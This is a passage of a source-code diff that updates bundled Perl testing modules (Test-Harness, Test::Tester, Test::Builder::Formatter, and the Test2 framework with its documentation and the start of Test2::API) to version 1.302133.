+is_deeply( $th->rules, $exp, "rulesfile param overrides testrules.yml" );
diff --git a/gnu/usr.bin/perl/cpan/Test-Harness/t/sample-tests/space_after_plan_v13 b/gnu/usr.bin/perl/cpan/Test-Harness/t/sample-tests/space_after_plan_v13
new file mode 100644
index 00000000000..18bee2ca606
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Harness/t/sample-tests/space_after_plan_v13
@@ -0,0 +1,4 @@
+# gforth TAP generates a space after the plan. Should probably be allowed.
+print "TAP version 13\n";
+print "1..5 \n";
+print "ok $_ \n" for 1..5;
diff --git a/gnu/usr.bin/perl/cpan/Test-Harness/t/source_tests/test.tap b/gnu/usr.bin/perl/cpan/Test-Harness/t/source_tests/test.tap
new file mode 100644
index 00000000000..03fd894ad6d
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Harness/t/source_tests/test.tap
@@ -0,0 +1,8 @@
+#!/usr/bin/perl
+
+# This looks equally like a TAP file and a Perl executable.
+
+print <<'END_TESTS';
+1..1
+ok 1 - source.pl
+END_TESTS
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Builder/Formatter.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Builder/Formatter.pm
new file mode 100644
index 00000000000..82a8eead675
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Builder/Formatter.pm
@@ -0,0 +1,105 @@
+package Test::Builder::Formatter;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+BEGIN { require Test2::Formatter::TAP; our @ISA = qw(Test2::Formatter::TAP) }
+
+use Test2::Util::HashBase qw/no_header no_diag/;
+
+BEGIN {
+ *OUT_STD = Test2::Formatter::TAP->can('OUT_STD');
+ *OUT_ERR = Test2::Formatter::TAP->can('OUT_ERR');
+
+ my $todo = OUT_ERR() + 1;
+ *OUT_TODO = sub() { $todo };
+}
+
+sub init {
+ my $self = shift;
+ $self->SUPER::init(@_);
+ $self->{+HANDLES}->[OUT_TODO] = $self->{+HANDLES}->[OUT_STD];
+}
+
+sub plan_tap {
+ my ($self, $f) = @_;
+
+ return if $self->{+NO_HEADER};
+ return $self->SUPER::plan_tap($f);
+}
+
+sub debug_tap {
+ my ($self, $f, $num) = @_;
+ return if $self->{+NO_DIAG};
+ my @out = $self->SUPER::debug_tap($f, $num);
+ $self->redirect(\@out) if @out && $f->{about}->{package} eq 'Test::Builder::TodoDiag';
+ return @out;
+}
+
+sub info_tap {
+ my ($self, $f) = @_;
+ return if $self->{+NO_DIAG};
+ my @out = $self->SUPER::info_tap($f);
+ $self->redirect(\@out) if @out && $f->{about}->{package} eq 'Test::Builder::TodoDiag';
+ return @out;
+}
+
+sub redirect {
+ my ($self, $out) = @_;
+ $_->[0] = OUT_TODO for @$out;
+}
+
+sub no_subtest_space { 1 }
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test::Builder::Formatter - Test::Builder subclass of Test2::Formatter::TAP
+
+=head1 DESCRIPTION
+
+This is what takes events and turns them into TAP.
+
+=head1 SYNOPSIS
+
+ use Test::Builder; # Loads Test::Builder::Formatter for you
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Builder/TodoDiag.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Builder/TodoDiag.pm
new file mode 100644
index 00000000000..b972a49f3ef
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Builder/TodoDiag.pm
@@ -0,0 +1,68 @@
+package Test::Builder::TodoDiag;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+BEGIN { require Test2::Event::Diag; our @ISA = qw(Test2::Event::Diag) }
+
+sub diagnostics { 0 }
+
+sub facet_data {
+ my $self = shift;
+ my $out = $self->SUPER::facet_data();
+ $out->{info}->[0]->{debug} = 0;
+ return $out;
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test::Builder::TodoDiag - Test::Builder subclass of Test2::Event::Diag
+
+=head1 DESCRIPTION
+
+This is used to encapsulate diag messages created inside TODO.
+
+=head1 SYNOPSIS
+
+You do not need to use this directly.
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Tester.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Tester.pm
index a5f1ccfdbb8..758a497634f 100644
--- a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Tester.pm
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Tester.pm
@@ -6,7 +6,7 @@ BEGIN
{
if (*Test::Builder::new{CODE})
{
- warn "You should load Test::Tester before Test::Builder (or anything that loads Test::Builder)"
+ warn "You should load Test::Tester before Test::Builder (or anything that loads Test::Builder)"
}
}
@@ -16,9 +16,10 @@ use Test::Tester::Delegate;
require Exporter;
-use vars qw( @ISA @EXPORT $VERSION );
+use vars qw( @ISA @EXPORT );
+
+our $VERSION = '1.302133';
-$VERSION = "0.114";
@EXPORT = qw( run_tests check_tests check_test cmp_results show_space );
@ISA = qw( Exporter );
@@ -39,10 +40,11 @@ sub show_space
my $colour = '';
my $reset = '';
-if (my $want_colour = $ENV{TESTTESTERCOLOUR} || $ENV{TESTTESTERCOLOUR})
+if (my $want_colour = $ENV{TESTTESTERCOLOUR} || $ENV{TESTTESTERCOLOR})
{
- if (eval "require Term::ANSIColor")
+ if (eval { require Term::ANSIColor; 1 })
{
+ eval { require Win32::Console::ANSI } if 'MSWin32' eq $^O; # support color on windows platforms
my ($f, $b) = split(",", $want_colour);
$colour = Term::ANSIColor::color($f).Term::ANSIColor::color("on_$b");
$reset = Term::ANSIColor::color("reset");
@@ -171,40 +173,54 @@ sub cmp_result
if (defined(my $exp = $expect->{diag}))
{
- # if there actually is some diag then put a \n on the end if it's not
- # there already
- $exp .= "\n" if (length($exp) and $exp !~ /\n$/);
- if (not $Test->ok($result->{diag} eq $exp,
- "subtest '$sub_name' of '$name' compare diag")
- )
- {
- my $got = $result->{diag};
- my $glen = length($got);
- my $elen = length($exp);
- for ($got, $exp)
- {
- my @lines = split("\n", $_);
- $_ = join("\n", map {
- if ($want_space)
- {
- $_ = $colour.escape($_).$reset;
- }
- else
- {
- "'$colour$_$reset'"
- }
- } @lines);
- }
-
- $Test->diag(<<EOM);
+ my $got = '';
+ if (ref $exp eq 'Regexp') {
+
+ if (not $Test->like($result->{diag}, $exp,
+ "subtest '$sub_name' of '$name' compare diag"))
+ {
+ $got = $result->{diag};
+ }
+
+ } else {
+
+ # if there actually is some diag then put a \n on the end if it's not
+ # there already
+ $exp .= "\n" if (length($exp) and $exp !~ /\n$/);
+
+ if (not $Test->ok($result->{diag} eq $exp,
+ "subtest '$sub_name' of '$name' compare diag"))
+ {
+ $got = $result->{diag};
+ }
+ }
+
+ if ($got) {
+ my $glen = length($got);
+ my $elen = length($exp);
+ for ($got, $exp)
+ {
+ my @lines = split("\n", $_);
+ $_ = join("\n", map {
+ if ($want_space)
+ {
+ $_ = $colour.escape($_).$reset;
+ }
+ else
+ {
+ "'$colour$_$reset'"
+ }
+ } @lines);
+ }
+
+ $Test->diag(<<EOM);
Got diag ($glen bytes):
$got
Expected diag ($elen bytes):
$exp
EOM
-
- }
+ }
}
}
@@ -313,6 +329,23 @@ Test::Tester - Ease testing test modules built with Test::Builder
or
+ use Test::Tester tests => 6;
+
+ use Test::MyStyle;
+
+ check_test(
+ sub {
+ is_mystyle_qr("this", "that", "not matching");
+ },
+ {
+ ok => 0, # expect this to fail
+ name => "not matching",
+ diag => qr/Expected: 'this'\s+Got: 'that'/,
+ }
+ );
+
+or
+
use Test::Tester;
use Test::More tests => 3;
@@ -376,6 +409,16 @@ you can get direct access to the test results:
like($result[0]->{diag}, "/^Database ping took \\d+ seconds$"/, "diag");
+or
+
+ check_test(
+ sub { is_mystyle_qr("this", "that", "not matching") },
+ {
+ ok => 0, # we expect the test to fail
+ name => "not matching",
+ diag => qr/Expected: 'this'\s+Got: 'that'/,
+ }
+ );
We cannot predict how long the database ping will take so we use
Test::More's like() test to check that the diagnostic string is of the right
@@ -446,7 +489,7 @@ diagnostics output B<after> the test result is declared.
Note that Test::Builder ensures that any diagnostics end in a \n and
it in earlier versions of Test::Tester it was essential that you have
-the final \n in your expected diagnostics. From version 0.10 onwards,
+the final \n in your expected diagnostics. From version 0.10 onward,
Test::Tester will add the \n if you forgot it. It will not add a \n if
you are expecting no diagnostics. See below for help tracking down
hard to find space and tab related problems.
@@ -495,7 +538,7 @@ are scratching your head trying to work out why Test::Tester is saying that
your diagnostics are wrong when they look perfectly right then the answer is
probably whitespace. From version 0.10 on, Test::Tester surrounds the
expected and got diag values with single quotes to make it easier to spot
-trailing whitesapce. So in this example
+trailing whitespace. So in this example
# Got diag (5 bytes):
# 'abcd '
@@ -513,7 +556,7 @@ switch Test::Tester into a mode whereby all "tricky" characters are shown as
\{xx}. Tricky characters are those with ASCII code less than 33 or higher
than 126. This makes the output more difficult to read but much easier to
find subtle differences between strings. To turn on this mode either call
-show_space() in your test script or set the TESTTESTERSPACE environment
+C<show_space()> in your test script or set the C<TESTTESTERSPACE> environment
variable to be a true value. The example above would then look like
# Got diag (5 bytes):
@@ -524,13 +567,13 @@ variable to be a true value. The example above would then look like
=head1 COLOUR
If you prefer to use colour as a means of finding tricky whitespace
-characters then you can set the TESTTESTCOLOUR environment variable to a
+characters then you can set the C<TESTTESTCOLOUR> environment variable to a
comma separated pair of colours, the first for the foreground, the second
for the background. For example "white,red" will print white text on a red
background. This requires the Term::ANSIColor module. You can specify any
colour that would be acceptable to the Term::ANSIColor::color function.
-If you spell colour differently, that's no problem. The TESTTESTERCOLOR
+If you spell colour differently, that's no problem. The C<TESTTESTERCOLOR>
variable also works (if both are set then the British spelling wins out).
=head1 EXPORTED FUNCTIONS
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Tester/Capture.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Tester/Capture.pm
index 00e12e6458e..d3e342569ec 100644
--- a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Tester/Capture.pm
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Tester/Capture.pm
@@ -2,6 +2,9 @@ use strict;
package Test::Tester::Capture;
+our $VERSION = '1.302133';
+
+
use Test::Builder;
use vars qw( @ISA );
@@ -42,6 +45,8 @@ sub new
sub ok {
my($self, $test, $name) = @_;
+ my $ctx = $self->ctx;
+
# $test might contain an object which we don't want to accidentally
# store, so we turn it into a boolean.
$test = $test ? 1 : 0;
@@ -51,7 +56,7 @@ sub ok {
my($pack, $file, $line) = $self->caller;
- my $todo = $self->todo($pack);
+ my $todo = $self->todo();
my $result = {};
share($result);
@@ -92,6 +97,8 @@ sub ok {
$result->{_level} = $Test::Builder::Level;
$result->{_depth} = Test::Tester::find_run_tests();
+ $ctx->release;
+
return $test ? 1 : 0;
}
@@ -99,6 +106,8 @@ sub skip {
my($self, $why) = @_;
$why ||= '';
+ my $ctx = $self->ctx;
+
lock($Curr_Test);
$Curr_Test++;
@@ -116,6 +125,7 @@ sub skip {
);
$Test_Results[$Curr_Test-1] = \%result;
+ $ctx->release;
return 1;
}
@@ -123,6 +133,8 @@ sub todo_skip {
my($self, $why) = @_;
$why ||= '';
+ my $ctx = $self->ctx;
+
lock($Curr_Test);
$Curr_Test++;
@@ -141,6 +153,7 @@ sub todo_skip {
$Test_Results[$Curr_Test-1] = \%result;
+ $ctx->release;
return 1;
}
@@ -151,6 +164,8 @@ sub diag {
# Prevent printing headers when compiling (i.e. -c)
return if $^C;
+ my $ctx = $self->ctx;
+
# Escape each line with a #.
foreach (@msgs) {
$_ = 'undef' unless defined;
@@ -162,6 +177,7 @@ sub diag {
$result->{diag} .= join("", @msgs);
+ $ctx->release;
return 0;
}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Tester/CaptureRunner.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Tester/CaptureRunner.pm
index f14a4c145aa..57f73575e92 100644
--- a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Tester/CaptureRunner.pm
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Tester/CaptureRunner.pm
@@ -3,6 +3,9 @@ use strict;
package Test::Tester::CaptureRunner;
+our $VERSION = '1.302133';
+
+
use Test::Tester::Capture;
require Exporter;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Tester/Delegate.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Tester/Delegate.pm
index 7ddb921cdfc..a1ea620cc4d 100644
--- a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Tester/Delegate.pm
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Tester/Delegate.pm
@@ -3,6 +3,10 @@ use warnings;
package Test::Tester::Delegate;
+our $VERSION = '1.302133';
+
+use Scalar::Util();
+
use vars '$AUTOLOAD';
sub new
@@ -29,4 +33,13 @@ sub AUTOLOAD
goto &$ref;
}
+sub can {
+ my $this = shift;
+ my ($sub) = @_;
+
+ return $this->{Object}->can($sub) if Scalar::Util::blessed($this);
+
+ return $this->SUPER::can(@_);
+}
+
1;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/use/ok.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/use/ok.pm
index 87d7cc52a55..1405824372b 100644
--- a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/use/ok.pm
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/use/ok.pm
@@ -1,6 +1,8 @@
package Test::use::ok;
use 5.005;
-$Test::use::ok::VERSION = '0.16';
+
+our $VERSION = '1.302133';
+
__END__
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2.pm
new file mode 100644
index 00000000000..b3b6d3c662b
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2.pm
@@ -0,0 +1,213 @@
+package Test2;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2 - Framework for writing test tools that all work together.
+
+=head1 DESCRIPTION
+
+Test2 is a new testing framework produced by forking L<Test::Builder>,
+completely refactoring it, adding many new features and capabilities.
+
+=head2 WHAT IS NEW?
+
+=over 4
+
+=item Easier to test new testing tools.
+
+From the beginning Test2 was built with introspection capabilities. With
+Test::Builder it was difficult at best to capture test tool output for
+verification. Test2 Makes it easy with C<Test2::API::intercept()>.
+
+=item Better diagnostics capabilities.
+
+Test2 uses an L<Test2::API::Context> object to track filename, line number, and
+tool details. This object greatly simplifies tracking for where errors should
+be reported.
+
+=item Event driven.
+
+Test2 based tools produce events which get passed through a processing system
+before being output by a formatter. This event system allows for rich plugin
+and extension support.
+
+=item More complete API.
+
+Test::Builder only provided a handful of methods for generating lines of TAP.
+Test2 took inventory of everything people were doing with Test::Builder that
+required hacking it up. Test2 made public API functions for nearly all the
+desired functionality people didn't previously have.
+
+=item Support for output other than TAP.
+
+Test::Builder assumed everything would end up as TAP. Test2 makes no such
+assumption. Test2 provides ways for you to specify alternative and custom
+formatters.
+
+=item Subtest implementation is more sane.
+
+The Test::Builder implementation of subtests was certifiably insane. Test2 uses
+a stacked event hub system that greatly improves how subtests are implemented.
+
+=item Support for threading/forking.
+
+Test2 support for forking and threading can be turned on using L<Test2::IPC>.
+Once turned on threading and forking operate sanely and work as one would
+expect.
+
+=back
+
+=head1 GETTING STARTED
+
+If you are interested in writing tests using new tools then you should look at
+L<Test2::Suite>. L<Test2::Suite> is a separate cpan distribution that contains
+many tools implemented on Test2.
+
+If you are interested in writing new tools you should take a look at
+L<Test2::API> first.
+
+=head1 NAMESPACE LAYOUT
+
+This describes the namespace layout for the Test2 ecosystem. Not all the
+namespaces listed here are part of the Test2 distribution, some are implemented
+in L<Test2::Suite>.
+
+=head2 Test2::Tools::
+
+This namespace is for sets of tools. Modules in this namespace should export
+tools like C<ok()> and C<is()>. Most things written for Test2 should go here.
+Modules in this namespace B<MUST NOT> export subs from other tools. See the
+L</Test2::Bundle::> namespace if you want to do that.
+
+=head2 Test2::Plugin::
+
+This namespace is for plugins. Plugins are modules that change or enhance the
+behavior of Test2. An example of a plugin is a module that sets the encoding to
+utf8 globally. Another example is a module that causes a bail-out event after
+the first test failure.
+
+=head2 Test2::Bundle::
+
+This namespace is for bundles of tools and plugins. Loading one of these may
+load multiple tools and plugins. Modules in this namespace should not implement
+tools directly. In general modules in this namespace should load tools and
+plugins, then re-export things into the consumers namespace.
+
+=head2 Test2::Require::
+
+This namespace is for modules that cause a test to be skipped when conditions
+do not allow it to run. Examples would be modules that skip the test on older
+perls, or when non-essential modules have not been installed.
+
+=head2 Test2::Formatter::
+
+Formatters live under this namespace. L<Test2::Formatter::TAP> is the only
+formatter currently. It is acceptable for third party distributions to create
+new formatters under this namespace.
+
+=head2 Test2::Event::
+
+Events live under this namespace. It is considered acceptable for third party
+distributions to add new event types in this namespace.
+
+=head2 Test2::Hub::
+
+Hub subclasses (and some hub utility objects) live under this namespace. It is
+perfectly reasonable for third party distributions to add new hub subclasses in
+this namespace.
+
+=head2 Test2::IPC::
+
+The IPC subsystem lives in this namespace. There are not many good reasons to
+add anything to this namespace, with exception of IPC drivers.
+
+=head3 Test2::IPC::Driver::
+
+IPC drivers live in this namespace. It is fine to create new IPC drivers and to
+put them in this namespace.
+
+=head2 Test2::Util::
+
+This namespace is for general utilities used by testing tools. Please be
+considerate when adding new modules to this namespace.
+
+=head2 Test2::API::
+
+This is for Test2 API and related packages.
+
+=head2 Test2::
+
+The Test2:: namespace is intended for extensions and frameworks. Tools,
+Plugins, etc should not go directly into this namespace. However extensions
+that are used to build tools and plugins may go here.
+
+In short: If the module exports anything that should be run directly by a test
+script it should probably NOT go directly into C<Test2::XXX>.
+
+=head1 SEE ALSO
+
+L<Test2::API> - Primary API functions.
+
+L<Test2::API::Context> - Detailed documentation of the context object.
+
+L<Test2::IPC> - The IPC system used for threading/fork support.
+
+L<Test2::Formatter> - Formatters such as TAP live here.
+
+L<Test2::Event> - Events live in this namespace.
+
+L<Test2::Hub> - All events eventually funnel through a hub. Custom hubs are how
+C<intercept()> and C<run_subtest()> are implemented.
+
+=head1 CONTACTING US
+
+Many Test2 developers and users lurk on L<irc://irc.perl.org/#perl-qa> and
+L<irc://irc.perl.org/#toolchain>. We also have a slack team that can be joined
+by anyone with an C<@cpan.org> email address L<https://perl-test2.slack.com/>
+If you do not have an C<@cpan.org> email you can ask for a slack invite by
+emailing Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/API.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/API.pm
new file mode 100644
index 00000000000..f5caaa6947b
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/API.pm
@@ -0,0 +1,1567 @@
+package Test2::API;
+use strict;
+use warnings;
+
+use Test2::Util qw/USE_THREADS/;
+
+BEGIN {
+ $ENV{TEST_ACTIVE} ||= 1;
+ $ENV{TEST2_ACTIVE} = 1;
+}
+
+our $VERSION = '1.302133';
+
+
+my $INST;
+my $ENDING = 0;
+sub test2_set_is_end { ($ENDING) = @_ ? @_ : (1) }
+sub test2_get_is_end { $ENDING }
+
+use Test2::API::Instance(\$INST);
+
+# Set the exit status
+END {
+ test2_set_is_end(); # See gh #16
+ $INST->set_exit();
+}
+
+sub CLONE {
+ my $init = test2_init_done();
+ my $load = test2_load_done();
+
+ return if $init && $load;
+
+ require Carp;
+ Carp::croak "Test2 must be fully loaded before you start a new thread!\n";
+}
+
+# See gh #16
+{
+ no warnings;
+ INIT { eval 'END { test2_set_is_end() }; 1' or die $@ }
+}
+
+BEGIN {
+ no warnings 'once';
+ if($] ge '5.014' || $ENV{T2_CHECK_DEPTH} || $Test2::API::DO_DEPTH_CHECK) {
+ *DO_DEPTH_CHECK = sub() { 1 };
+ }
+ else {
+ *DO_DEPTH_CHECK = sub() { 0 };
+ }
+}
+
+use Test2::EventFacet::Trace();
+use Test2::Util::Trace(); # Legacy
+
+use Test2::Hub::Subtest();
+use Test2::Hub::Interceptor();
+use Test2::Hub::Interceptor::Terminator();
+
+use Test2::Event::Ok();
+use Test2::Event::Diag();
+use Test2::Event::Note();
+use Test2::Event::Plan();
+use Test2::Event::Bail();
+use Test2::Event::Exception();
+use Test2::Event::Waiting();
+use Test2::Event::Skip();
+use Test2::Event::Subtest();
+
+use Carp qw/carp croak confess/;
+use Scalar::Util qw/blessed weaken/;
+use Test2::Util qw/get_tid clone_io pkg_to_file/;
+
+our @EXPORT_OK = qw{
+ context release
+ context_do
+ no_context
+ intercept intercept_deep
+ run_subtest
+
+ test2_init_done
+ test2_load_done
+ test2_load
+ test2_start_preload
+ test2_stop_preload
+ test2_in_preload
+
+ test2_set_is_end
+ test2_get_is_end
+
+ test2_pid
+ test2_tid
+ test2_stack
+ test2_no_wait
+ test2_ipc_wait_enable
+ test2_ipc_wait_disable
+ test2_ipc_wait_enabled
+
+ test2_add_uuid_via
+
+ test2_add_callback_context_aquire
+ test2_add_callback_context_acquire
+ test2_add_callback_context_init
+ test2_add_callback_context_release
+ test2_add_callback_exit
+ test2_add_callback_post_load
+ test2_add_callback_pre_subtest
+ test2_list_context_aquire_callbacks
+ test2_list_context_acquire_callbacks
+ test2_list_context_init_callbacks
+ test2_list_context_release_callbacks
+ test2_list_exit_callbacks
+ test2_list_post_load_callbacks
+ test2_list_pre_subtest_callbacks
+
+ test2_ipc
+ test2_has_ipc
+ test2_ipc_disable
+ test2_ipc_disabled
+ test2_ipc_drivers
+ test2_ipc_add_driver
+ test2_ipc_polling
+ test2_ipc_disable_polling
+ test2_ipc_enable_polling
+ test2_ipc_get_pending
+ test2_ipc_set_pending
+ test2_ipc_get_timeout
+ test2_ipc_set_timeout
+ test2_ipc_enable_shm
+
+ test2_formatter
+ test2_formatters
+ test2_formatter_add
+ test2_formatter_set
+
+ test2_stdout
+ test2_stderr
+ test2_reset_io
+};
+BEGIN { require Exporter; our @ISA = qw(Exporter) }
+
+my $STACK = $INST->stack;
+my $CONTEXTS = $INST->contexts;
+my $INIT_CBS = $INST->context_init_callbacks;
+my $ACQUIRE_CBS = $INST->context_acquire_callbacks;
+
+my $STDOUT = clone_io(\*STDOUT);
+my $STDERR = clone_io(\*STDERR);
+sub test2_stdout { $STDOUT ||= clone_io(\*STDOUT) }
+sub test2_stderr { $STDERR ||= clone_io(\*STDERR) }
+
+sub test2_post_preload_reset {
+ test2_reset_io();
+ $INST->post_preload_reset;
+}
+
+sub test2_reset_io {
+ $STDOUT = clone_io(\*STDOUT);
+ $STDERR = clone_io(\*STDERR);
+}
+
+sub test2_init_done { $INST->finalized }
+sub test2_load_done { $INST->loaded }
+
+sub test2_load { $INST->load }
+sub test2_start_preload { $ENV{T2_IN_PRELOAD} = 1; $INST->start_preload }
+sub test2_stop_preload { $ENV{T2_IN_PRELOAD} = 0; $INST->stop_preload }
+sub test2_in_preload { $INST->preload }
+
+sub test2_pid { $INST->pid }
+sub test2_tid { $INST->tid }
+sub test2_stack { $INST->stack }
+sub test2_ipc_wait_enable { $INST->set_no_wait(0) }
+sub test2_ipc_wait_disable { $INST->set_no_wait(1) }
+sub test2_ipc_wait_enabled { !$INST->no_wait }
+
+sub test2_no_wait {
+ $INST->set_no_wait(@_) if @_;
+ $INST->no_wait;
+}
+
+sub test2_add_callback_context_acquire { $INST->add_context_acquire_callback(@_) }
+sub test2_add_callback_context_aquire { $INST->add_context_acquire_callback(@_) }
+sub test2_add_callback_context_init { $INST->add_context_init_callback(@_) }
+sub test2_add_callback_context_release { $INST->add_context_release_callback(@_) }
+sub test2_add_callback_exit { $INST->add_exit_callback(@_) }
+sub test2_add_callback_post_load { $INST->add_post_load_callback(@_) }
+sub test2_add_callback_pre_subtest { $INST->add_pre_subtest_callback(@_) }
+sub test2_list_context_aquire_callbacks { @{$INST->context_acquire_callbacks} }
+sub test2_list_context_acquire_callbacks { @{$INST->context_acquire_callbacks} }
+sub test2_list_context_init_callbacks { @{$INST->context_init_callbacks} }
+sub test2_list_context_release_callbacks { @{$INST->context_release_callbacks} }
+sub test2_list_exit_callbacks { @{$INST->exit_callbacks} }
+sub test2_list_post_load_callbacks { @{$INST->post_load_callbacks} }
+sub test2_list_pre_subtest_callbacks { @{$INST->pre_subtest_callbacks} }
+
+sub test2_add_uuid_via {
+ $INST->set_add_uuid_via(@_) if @_;
+ $INST->add_uuid_via();
+}
+
+sub test2_ipc { $INST->ipc }
+sub test2_has_ipc { $INST->has_ipc }
+sub test2_ipc_disable { $INST->ipc_disable }
+sub test2_ipc_disabled { $INST->ipc_disabled }
+sub test2_ipc_add_driver { $INST->add_ipc_driver(@_) }
+sub test2_ipc_drivers { @{$INST->ipc_drivers} }
+sub test2_ipc_polling { $INST->ipc_polling }
+sub test2_ipc_enable_polling { $INST->enable_ipc_polling }
+sub test2_ipc_disable_polling { $INST->disable_ipc_polling }
+sub test2_ipc_get_pending { $INST->get_ipc_pending }
+sub test2_ipc_set_pending { $INST->set_ipc_pending(@_) }
+sub test2_ipc_set_timeout { $INST->set_ipc_timeout(@_) }
+sub test2_ipc_get_timeout { $INST->ipc_timeout() }
+sub test2_ipc_enable_shm { $INST->ipc_enable_shm }
+
+sub test2_formatter {
+ if ($ENV{T2_FORMATTER} && $ENV{T2_FORMATTER} =~ m/^(\+)?(.*)$/) {
+ my $formatter = $1 ? $2 : "Test2::Formatter::$2";
+ my $file = pkg_to_file($formatter);
+ require $file;
+ return $formatter;
+ }
+
+ return $INST->formatter;
+}
+
+sub test2_formatters { @{$INST->formatters} }
+sub test2_formatter_add { $INST->add_formatter(@_) }
+sub test2_formatter_set {
+ my ($formatter) = @_;
+ croak "No formatter specified" unless $formatter;
+ croak "Global Formatter already set" if $INST->formatter_set;
+ $INST->set_formatter($formatter);
+}
+
+# Private, for use in Test2::API::Context
+sub _contexts_ref { $INST->contexts }
+sub _context_acquire_callbacks_ref { $INST->context_acquire_callbacks }
+sub _context_init_callbacks_ref { $INST->context_init_callbacks }
+sub _context_release_callbacks_ref { $INST->context_release_callbacks }
+sub _add_uuid_via_ref { \($INST->{Test2::API::Instance::ADD_UUID_VIA()}) }
+
+# Private, for use in Test2::IPC
+sub _set_ipc { $INST->set_ipc(@_) }
+
+sub context_do(&;@) {
+ my $code = shift;
+ my @args = @_;
+
+ my $ctx = context(level => 1);
+
+ my $want = wantarray;
+
+ my @out;
+ my $ok = eval {
+ $want ? @out = $code->($ctx, @args) :
+ defined($want) ? $out[0] = $code->($ctx, @args) :
+ $code->($ctx, @args) ;
+ 1;
+ };
+ my $err = $@;
+
+ $ctx->release;
+
+ die $err unless $ok;
+
+ return @out if $want;
+ return $out[0] if defined $want;
+ return;
+}
+
+sub no_context(&;$) {
+ my ($code, $hid) = @_;
+ $hid ||= $STACK->top->hid;
+
+ my $ctx = $CONTEXTS->{$hid};
+ delete $CONTEXTS->{$hid};
+ my $ok = eval { $code->(); 1 };
+ my $err = $@;
+
+ $CONTEXTS->{$hid} = $ctx;
+ weaken($CONTEXTS->{$hid});
+
+ die $err unless $ok;
+
+ return;
+};
+
+my $UUID_VIA = _add_uuid_via_ref();
+my $CID = 1;
+sub context {
+ # We need to grab these before anything else to ensure they are not
+ # changed.
+ my ($errno, $eval_error, $child_error, $extended_error) = (0 + $!, $@, $?, $^E);
+
+ my %params = (level => 0, wrapped => 0, @_);
+
+ # If something is getting a context then the sync system needs to be
+ # considered loaded...
+ $INST->load unless $INST->{loaded};
+
+ croak "context() called, but return value is ignored"
+ unless defined wantarray;
+
+ my $stack = $params{stack} || $STACK;
